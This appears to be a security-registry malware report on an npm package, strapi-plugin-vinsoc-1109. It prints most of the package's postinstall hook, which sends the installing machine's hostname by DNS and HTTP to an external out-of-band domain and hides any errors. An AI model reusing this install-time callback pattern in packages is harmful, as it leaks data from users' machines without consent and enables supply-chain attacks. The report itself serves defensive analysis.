registry / Data exfiltration / strapi-plugin-vinsoc-1109

strapi-plugin-vinsoc-1109

Authorized security PoC (VinSOC engagement). Benign OOB callback only. Do not use. Will be unpublished.

This report shows the evidence for strapi-plugin-vinsoc-1109@3.6.8, the only known version.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is concrete unconsented install-time host data exfiltration to an external endpoint. The lifecycle trigger and callback are directly established by source inspection.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation triggers the postinstall lifecycle hook.

Impact

A package install signals execution and discloses the installing host's hostname to an external party.

Mechanism

Hostname collection followed by DNS and HTTP exfiltration.

Attack narrative

The package registers postinstall.js as an automatic npm lifecycle hook. On installation it reads os.hostname(), converts it into a subdomain under an OAST domain, then performs a DNS lookup and an HTTP GET to that external host. The callback is hidden from installation failure by `|| true` and error handlers. Its accompanying claims of benign authorized testing do not establish user consent for automatic external disclosure.

AI rationale

This is concrete unconsented install-time host data exfiltration to an external endpoint. The lifecycle trigger and callback are directly established by source inspection.

Evidence

package.jsonpostinstall.js

Network endpoints1

1bdtwmd0wdrpwnlput1up9x39ufl3br0.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

An automatic postinstall hook runs postinstall.js during npm installation.
The hook collects the installing machine's hostname and incorporates it into a remote hostname.
The hook performs both a DNS lookup and a plain HTTP request to an external OAST domain.
Comments and README text try to frame the install-time callback as an authorized benign proof of concept; this is reviewer-directed self-justification.

Evidence against

The inspected code contains no shell execution, file writes, persistence, or dependency installation.

Behavioral surface

Source

Network

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 1.03 KB of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"main": "index.js", "scripts": { "postinstall": "node postinstall.js || true"

High

Suspicious Lifecycle Evidence

An automatic postinstall hook runs postinstall.js during npm installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

5var http = require('http'); var dns = require('dns'); var os = require('os'); var C = '[redacted].oastify.com'; var tag; try { tag = (os.hostname() || 'unknown').replace(/[^a-zA-Z0-9]/g, '').toLowerCase().slice(0, 30); } catch (e) { tag = 'nohost'; } var host = tag + '.' + C;

High

Ai Review Evidence

The hook collects the installing machine's hostname and incorporates it into a remote hostname.

postinstall.jsView on unpkg · L5

18// DNS lookup is the primary OOB signal (always logs, no TLS involved). try { dns.lookup(host, function () {}); } catch (e) {} // Plain-HTTP GET is the second channel; path echoes the hostname so it shows // verbatim in the Collaborator HTTP request line. try { http.get({ host: host, path: '/poc/' + tag, timeout: 8000 }, function (res) { res.resume(); }) .on('error', function () {});

High

Ai Review Evidence

The hook performs both a DNS lookup and a plain HTTP request to an external OAST domain.

postinstall.jsView on unpkg · L18

README.mdView file

3**Do not install.** This is a non-malicious proof-of-concept package published for an authorized security assessment (VinSOC). Its `postinstall` performs a single out-of-band callback (hostname only) to demonstrate code execution and is otherwise inert. It contains no reverse shell, no data exfiltration, and no persistence. It will

Medium

Stripped Provenance Metadata

Comments and README text try to frame the install-time callback as an authorized benign proof of concept; this is reviewer-directed self-justification.

README.mdView on unpkg · L3

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"main": "index.js", "scripts": { "postinstall": "node postinstall.js || true"

High

Suspicious Lifecycle Evidence

An automatic postinstall hook runs postinstall.js during npm installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

4 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumStripped Provenance MetadataREADME.md

LowScripts Present

Affected versions and remediation

This report applies to strapi-plugin-vinsoc-1109@3.6.8.

The versions list below shows the verdict for each recorded version.

Avoid installing strapi-plugin-vinsoc-1109@3.6.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-11 18:45:05.085Z (UTC).

Source advisory published: 2026-09-11 07:51:51.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

3.6.8latestshownMaliciousData ExfiltrationBlockPublishedSep 11, 2026, 7:14 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages